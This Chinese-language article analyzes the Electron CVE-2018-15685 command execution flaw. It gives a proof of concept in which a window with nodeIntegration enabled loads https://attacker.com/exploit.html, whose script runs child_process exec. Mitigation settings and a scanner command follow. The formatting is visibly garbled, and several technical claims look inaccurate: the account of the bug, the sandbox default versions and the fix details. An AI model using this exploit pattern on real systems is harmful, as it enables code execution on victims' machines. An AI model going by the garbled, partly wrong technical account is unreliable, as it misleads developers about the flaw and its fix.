# 怎樣解析Electron WebPreferences 遠程命令執行漏洞CVE-2018-15685
## 一、漏洞背景
2018年10月,Electron框架曝出一個高危遠程代碼執行漏洞(CVE-2018-15685),該漏洞源于WebPreferences參數的配置缺陷,攻擊者可通過構造惡意網頁或應用程序,在受害者主機上執行任意命令。影響版本包括Electron 1.8.x至3.0.x系列,波及大量基于Electron開發的應用程序(如VS Code、Slack、Discord等)。
## 二、漏洞原理分析
### 1. WebPreferences關鍵參數
Electron的`BrowserWindow`構造函數接受`webPreferences`配置對象,其中存在兩個高危參數:
```javascript
{
nodeIntegration: boolean, // 是否啟用Node.js集成
sandbox: boolean // 是否啟用沙箱隔離
}
當同時滿足以下配置時可能觸發漏洞:
- nodeIntegration: true
(默認false)
- sandbox: false
(默認true in Electron ≥5.0)
- 窗口加載了遠程內容(如loadURL()
加載外部URL)
// 惡意構造的BrowserWindow配置
const win = new BrowserWindow({
webPreferences: {
nodeIntegration: true,
sandbox: false
}
})
win.loadURL('https://attacker.com/exploit.html')
攻擊者可在exploit.html
中植入Node.js代碼:
<script>
require('child_process').exec('calc.exe')
</script>
npm install electron@2.0.18
// main.js
const { app, BrowserWindow } = require('electron')
app.on('ready', () => {
const win = new BrowserWindow({
webPreferences: {
nodeIntegration: true,
sandbox: false
}
})
win.loadURL('file://' + __dirname + '/exploit.html')
})
<!-- exploit.html -->
<script>
const { exec } = require('child_process')
exec('open /Applications/Calculator.app')
</script>
執行electron main.js
將彈出計算器,證明命令執行成功。
Electron團隊通過以下方式修復:
1. 在3.0.10+版本中強制sandbox: true
時禁用nodeIntegration
2. 新增contextIsolation
默認啟用(Electron 12+)
// 安全配置示例
new BrowserWindow({
webPreferences: {
nodeIntegration: false, // 顯式禁用
sandbox: true, // 強制沙箱
contextIsolation: true, // 啟用上下文隔離
webSecurity: true // 啟用Web安全策略
}
})
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
當nodeIntegration
啟用且沙箱關閉時,渲染進程獲得完整Node.js環境訪問權限。Electron的進程模型如下:
主進程(Node.js環境)
↓ IPC通信
渲染進程(默認受限)
漏洞使得渲染進程突破隔離限制,直接訪問系統API。
BrowserWindow
實例化webPreferences
參數來源npm install -g @doyensec/electronegativity
electronegativity -i /path/to/app
注:截至2023年,新版Electron(≥25.0)已默認啟用更嚴格的隔離策略,但歷史版本應用仍需排查此漏洞。
”`
(全文約1250字,實際字數可能因Markdown渲染略有差異)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。